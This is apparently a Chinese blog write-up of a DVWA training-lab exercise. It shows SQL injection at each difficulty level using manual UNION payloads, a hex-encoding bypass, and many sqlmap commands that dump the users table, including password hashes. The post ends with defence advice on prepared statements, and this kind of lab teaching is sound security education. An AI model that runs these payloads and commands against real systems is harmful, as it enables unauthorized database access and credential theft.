DVWA SQL Injection 从 Low 到 Impossible 详解
环境信息
- DVWA版本:v1.9
- PHP版本:7.3.4
- MySQL版本:5.7.26
- Apache版本:2.4.39
- 靶机操作系统:Windows 10 x64
- 攻击机:Windows 10 x64、Arch Linux
- 浏览器:Microsoft Edge
目录
- 1、Low难度
- 2、Medium难度
- 3、High难度
- 4、Impossible难度
- 5、总结与防御建议
一、Low难度
1、手动注入
观察输入框,输入1

发现搜索出来了id=1的账户的First name和Surname
尝试输入1 and 1=1#和1 and 1=2#查看是否存在数字型注入


可以由此推断不存在数字型注入,接着尝试字符型注入,输入1’ and ‘1’=‘1和1’ and ‘1’=‘2


发现第二次查询不到结果,回显跟第一次不一样,推断存在字符型注入
接着,可以使用union select 1,2,3,4…和order by N语句来确认查询字段数,这里使用order by语句,同时查询的id输入-1使查询结果无回显
依次输入-1’ order by 1#、-1’ order by 2#、…
在这里也可以使用二分法来查询,但先省略


直到输入-1’ order by 3#时,发现报错

这说明字段“3”不存在,也说明查询字段数为2
除此以外,在DVWA靶场中的下方有”View Source”按钮,可以查看源码

从中也可以看到查询的字段有”first_name”、“last_name”,共两个,同时”$id”后有闭合的引号,因此需要先闭合引号再使用注释符注释掉后续的内容,也印证了之前的判断
然后,可以使用union注入查询所有数据库名称
所有元数据都储存在information_schema中,这里数据库名称存储在information_schema.schemata中的schema_name里
构造Payload:-1’ union select 1,schema_name from information_schema.schemata#

回车后发现报错,这通常是由于连接的字段字符集不同导致
尝试更换字符集为latin1,使用convert()函数转换
构造Payload:-1’ union select 1,convert(schema_name using latin1) from information_schema.schemata#

爆出了所有数据库名称
接着可以使用where语句查询指定数据库里的表、列、字段名称,这里选中数据库dvwa
构造Payload,注意编码:-1’ union select 1,convert(table_name using latin1) from information_schema.tables where table_schema=‘dvwa’#

爆出了所有表名称,只有一张users表
接着可以查询表中的列名
构造Payload:-1’ union select 1,convert(column_name using latin1) from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’#

爆出了所有列名
接着可以查询具体字段,这里查询所有字段
构造Payload:-1’ union select 1,concat(user_id,’ ‘,first_name,’ ‘,last_name,user,’ ‘,password,’ ‘,avatar,’ ‘,last_login,’ ‘,failed_login) from dvwa.users#

这样所有字段就按照”user_id,first_name,last_name,password,avatar,last_login,failed_login“顺序排列好了
至此,DVWA靶场Low难度SQL Injection注入成功
2、自动化工具注入
除手动注入外,还可以使用自动化工具完成SQL注入,这里以SQLMap工具作为演示
复制URL:http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#
这里因为我的SQLMap装在了VMware的Arch Linux上,因此需要将“127.0.0.1”改为主机的ip地址
在命令行里输入命令:sudo sqlmap -u “http://192.168.101.211/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#” -p id —batch
发现出现了302状态码,临时重定向到了/login.php界面,考虑添加当前Cookie
按F12调试,刷新界面,点开“网络”标签,找到/sqli这一行,点开,下滑,找到”Cookie”


看到Cookie,再次在命令行输入命令:sudo sqlmap -u “http://192.168.101.211/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#” -p id —cookie=“theme=dark; PHPSESSID=sinmvrnq59dp048sdacfrpp89s; security=low” —batch

发现参数id可以被注入,上面有可注入的类型,分别有:布尔注入、时间注入、UNION联合查询注入
在原命令后加上—dbs参数,爆出所有数据库名:
sudo sqlmap -u “http://192.168.101.211/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#” -p id —cookie=“theme=dark; PHPSESSID=sinmvrnq59dp048sdacfrpp89s; security=low” —batch —dbs

爆出了所有数据库名,接着使用-D参数指定数据库,使用—tables参数爆出表名,这里选中数据库”dvwa”:
sudo sqlmap -u “http://192.168.101.211/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#” -p id —cookie=“theme=dark; PHPSESSID=sinmvrnq59dp048sdacfrpp89s; security=low” —batch -D dvwa —tables

爆出了所有表名,接着使用-T参数指定表,使用—columns爆出所有列名,这里选中表”users”:
sudo sqlmap -u “http://192.168.101.211/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#” -p id —cookie=“theme=dark; PHPSESSID=sinmvrnq59dp048sdacfrpp89s; security=low” —batch -D dvwa -T users —columns

爆出了所有列名,接着使用-C参数指定列查询具体字段,使用—dump导出指定数据表内的所有数据(拖表),这里选中全部字段,使用”,“连接:
sudo sqlmap -u “http://192.168.101.211/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#” -p id —cookie=“theme=dark; PHPSESSID=sinmvrnq59dp048sdacfrpp89s; security=low” —batch -D dvwa -T users -C user,avatar,failed_login,first_name,last_login,last_name,password,user_id —dump

至此,DVWA靶场Low难度SQL Injection注入成功
二、Medium难度
1、代理配置
因为BurpSuite抓不到127.0.0.1和localhost的包,所以我只能输入自己的ip/DVWA这样的URL来访问DVWA了
为了方便,进行BurpSuite代理配置,当然如果觉得很麻烦,直接使用BurpSuite自带的内置浏览器就可以了
下面的代理配置方式仅限于Chrome和Edge浏览器,Firefox浏览器下载完证书后点设置->隐私与安全->证书->查看证书->证书机构->导入->勾选“信任此CA以识别网站”就可以了
打开BurpSuite,点击”代理“标签,点击”代理设置“

按照这样的方式设置好BurpSuite的代理,接着按下”Win键+I键”(Windows10及以上才这样,否则还是老老实实打开设置找到网络吧)



像这样设置代理之后点一下“保存”按钮
打开浏览器,输入URL:http://burpsuite

点一下”CA Certificate”按钮下载证书,双击下载的证书

点击“安装证书”

点击“本地计算机”,点击“下一步”

点击“将所有证书都放入下列存储”,点击“浏览”

一定一定要选择这个!选完后点“确定”,点“下一步”,点“确定”就可以了,会弹出“导入成功”提示框
这样就可以使用BurpSuite抓到主机的包了!如果觉得包很多很杂乱,还可以配置“范围”
2、手动注入

观察,发现没有Low难度的输入框,先试着查询User ID为1的结果


发现URL没有变,打开F12调试,刷新界面,点开“网络”标签

发现网站是POST方式传参的
打开BurpSuite,配置好代理后开始拦截,回到DVWA,再次点击“Submit”按钮,回到BurpSuite,查看到抓到了DVWA靶场的包,点击

观察请求头

发现传输了”id”和”Submit”两个参数
接着,修改id的值为1 or 1=1#查看是否存在数字型注入

点击“放行”放包

发现所有id的用户的First name和Surname都出来了,说明存在数字型注入
接着,就可以像Low难度那样注入了,只不过Payload拼接在POST请求的id中
同理测出查询字段数为2
构造Payload爆出数据库:-1 union select 1,convert(schema_name using latin1) from information_schema.schemata#


爆出了所有库名
接着爆出表名,这里选择将数据包发送到重放器(Repeater模块),右键响应区,点击“发送到重放器”(Send to Repeater)
注意数字型注入不能在Payload中出现任何引号,否则都会被注释
因为不能有引号,同时没加引号的’dvwa’在php中会被当做标识符,因此需要转为Hex编码或者Ascii码后使用char()函数拼接,这里选择转为Hex编码
在赛博锤子CyberChef中选中”To Hex”进行Hex编码
查看到’dvwa’的Hex编码为’0x64,0x76,0x77,0x61’
构造Payload:-1 union select 1,convert(table_name using latin1) from information_schema.tables where table_schema=0x64767761#

爆出了所有表名,在CyberChef中对’users’进行Hex编码,输出了’0x75,0x73,0x65,0x72,0x73’
接着构造Payload爆出所有列名:-1 union select 1,convert(column_name using latin1) from information_schema.columns where table_schema=0x64767761 and table_name=0x7573657273#

接着查询所有字段,将’ ‘在CyberChef中进行Hex编码,输出了’0x27,0x20,0x27’
构造Payload:-1 union select 1,concat(user_id,0x272027,first_name,0x272027,last_name,user,0x272027,password,0x272027,avatar,0x272027,last_login,0x272027,failed_login) from dvwa.users#


至此,DVWA靶场Medium难度SQL Injection注入成功
3、自动化工具注入
与Low难度一样,因为之前Low难度时使用了Cookie,因此现在注入不会出现302状态码临时跳转到登录界面不需要带上Cookie参数了,但还是加上Cookie
按F12调试,找到Cookie:PHPSESSID=mt6o0rbcjc4fkksg54i6q9f9i5; security=medium; theme=dark
同时因为是POST传参,参数不出现在URL中,于是需要带上—data指定参数
在命令行输入命令:sudo sqlmap -u “http://192.168.101.211/DVWA/vulnerabilities/sqli” —data=‘id=1&Submit=Submit’ —cookie=‘PHPSESSID=mt6o0rbcjc4fkksg54i6q9f9i5; security=medium; theme=dark’ —batch

发现参数id可被布尔注入、报错注入、时间注入、UNION联合查询注入
接着就是像Low难度一样—dbs爆数据库、-D选中数据库、—tables爆表、-T选中表、—columns爆列、-C爆出所有字段名了
输入命令爆库:sudo sqlmap -u “http://192.168.101.211/DVWA/vulnerabilities/sqli” —data=‘id=1&Submit=Submit’ —cookie=‘PHPSESSID=mt6o0rbcjc4fkksg54i6q9f9i5; security=medium; theme=dark’ —batch —dbs

输入命令爆数据库dvwa的表:sudo sqlmap -u “http://192.168.101.211/DVWA/vulnerabilities/sqli” —data=‘id=1&Submit=Submit’ —cookie=‘PHPSESSID=mt6o0rbcjc4fkksg54i6q9f9i5; security=medium; theme=dark’ —batch -D dvwa —tables

输入命令爆数据库dvwa中表users的列:sudo sqlmap -u “http://192.168.101.211/DVWA/vulnerabilities/sqli” —data=‘id=1&Submit=Submit’ —cookie=‘PHPSESSID=mt6o0rbcjc4fkksg54i6q9f9i5; security=medium; theme=dark’ —batch -D dvwa -T users —columns

输入命令爆数据库dvwa中表users所有列的字段:sudo sqlmap -u “http://192.168.101.211/DVWA/vulnerabilities/sqli” —data=‘id=1&Submit=Submit’ —cookie=‘PHPSESSID=mt6o0rbcjc4fkksg54i6q9f9i5; security=medium; theme=dark’ —batch -D dvwa -T users -C user,avatar,failed_login,first_name,last_login,last_name,password,user_id —dump

至此,DVWA靶场Medium难度SQL Injection注入成功
三、High难度
Tips:High难度我记得在老版本v1.8之前使用的是SESSION加上二次注入,但不知道为什么现在的版本v1.9就可以直接在弹窗里进行字符型注入了,High难度没有Medium难度难的来了,就多了个弹窗跟Low难度一样都是字符型注入,所以在SQLMap自动化注入中我准备了两套方案,一套普通注入一套跟以前一样的二次注入
1、手动注入

观察,发现有一个连接,点开

发现是一个弹窗,在里面输入1

回显在了原页面上,这也是我在老版本推断这是二次注入的依据
输入1 and 1=1#和1 and 1=2#,观察


发现两次回显一样,推断不是数字型注入,尝试输入1’ and ‘1’=‘1和1’ and ‘1’=‘2,观察


第二次没回显,和第一次不一样,那就是字符型注入,同Low难度一样,使用union select语句或order by语句知道了查询字段数量为2
这还说啥了直接注入
爆库Payload:-1’ union select 1,convert(schema_name using latin1) from information_schema.schemata#

爆表Payload:-1’ union select 1,convert(table_name using latin1) from information_schema.tables where table_schema=‘dvwa’#

爆列Payload:-1’ union select 1,convert(column_name using latin1) from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’#

查所有字段Payload:-1’ union select 1,concat(user_id,’ ‘,first_name,’ ‘,last_name,user,’ ‘,password,’ ‘,avatar,’ ‘,last_login,’ ‘,failed_login) from dvwa.users#

至此,DVWA靶场High难度SQL Injection注入成功
2、自动化工具注入
2.1:字符型Union注入(新版)
按F12刷新界面,找到传参方式为POST和Cookie:PHPSESSID=p9alaj0278g78f2gls25u73h5h; security=high; theme=dark
在命令行输入:sudo sqlmap -u “http://192.168.101.211/DVWA/vulnerabilities/sqli/” —data=‘id=1&Submit=Submit’ -p id —cookie=‘PHPSESSID=p9alaj0278g78f2gls25u73h5h; security=high; theme=dark’ —batch

存在布尔注入、报错注入、时间注入、Union联合查询注入,—dbs爆库:sudo sqlmap -u “http://192.168.101.211/DVWA/vulnerabilities/sqli/” —data=‘id=1&Submit=Submit’ -p id —cookie=‘PHPSESSID=p9alaj0278g78f2gls25u73h5h; security=high; theme=dark’ —batch —dbs

-D指定数据库,—tables爆表:sudo sqlmap -u “http://192.168.101.211/DVWA/vulnerabilities/sqli/” —data=‘id=1&Submit=Submit’ -p id —cookie=‘PHPSESSID=p9alaj0278g78f2gls25u73h5h; security=high; theme=dark’ —batch -D dvwa —tables

-T指定表,—columns爆列:sudo sqlmap -u “http://192.168.101.211/DVWA/vulnerabilities/sqli/” —data=‘id=1&Submit=Submit’ -p id —cookie=‘PHPSESSID=p9alaj0278g78f2gls25u73h5h; security=high; theme=dark’ —batch -D dvwa -T users —columns

-C指定列,—dump拖表,爆出所有字段:sudo sqlmap -u “http://192.168.101.211/DVWA/vulnerabilities/sqli/” —data=‘id=1&Submit=Submit’ -p id —cookie=‘PHPSESSID=p9alaj0278g78f2gls25u73h5h; security=high; theme=dark’ —batch -D dvwa -T users -C user,avatar,failed_login,first_name,last_login,last_name,password,user_id —dump

至此,DVWA靶场High难度SQL Injection注入成功
2.2:SESSION+二次注入(旧版)
因为在192.168.101.211/DVWA/vulnerabilities/sqli/session-input.php里注入,回显在192.168.101.211/DVWA/vulnerabilities/sqli/里,因此使用—second-url参数指定回显界面
输入命令:sudo sqlmap -u “http://192.168.101.211/DVWA/vulnerabilities/sqli/session-input.php” —data=‘id=1&Submit=Submit’ -p id —cookie=‘PHPSESSID=p9alaj0278g78f2gls25u73h5h; security=high; theme=dark’ —second-url=‘http://192.168.101.211/DVWA/vulnerabilities/sqli/’ —batch

发现存在时间注入、Union联合查询注入
接着就是使用—dbs、-D、—tables、-T、—columns、-C、—dump参数了,跟之前一样,在后面加参数就行了

至此,DVWA靶场High难度SQL Injection注入成功
四、Impossible难度
这还说啥,注入成功的你牛大了
1、使用 PDO 预编译(参数化查询)区分 SQL 指令 和 参数数据
2、PDO::PARAM_INT强制参数类型
3、增加 CSRF Token 防护
4、LIMIT 1限制、关闭详细数据库报错、无任何输出回显的额外信息
你要是注入成功了网安圈你是老大
五、总结与防御建议
1、各级别对比
| 维度 | Low | Medium | High | Impossible |
|---|---|---|---|---|
| 注入方式 | 字符型Union注入 | 数字型Union注入+Hex编码/CHAR()绕过 | 字符型Union注入/二次注入 | 无 |
2、防御最佳实践
✅ 应该做的:
1、使用PDO预编译
2、强制参数进行类型转换
3、增加CSRF Token防护
4、LIMIT 1限制、关闭详细数据库报错、不输出回显的额外信息
3、工具推荐
SQLMap、手、鼠标、键盘、显示器
免责声明:本文仅用于安全教育和渗透测试授权范围内的学习研究,请勿用于非法用途
本文首发于 X1Lyr404’s Blog,转载请注明出处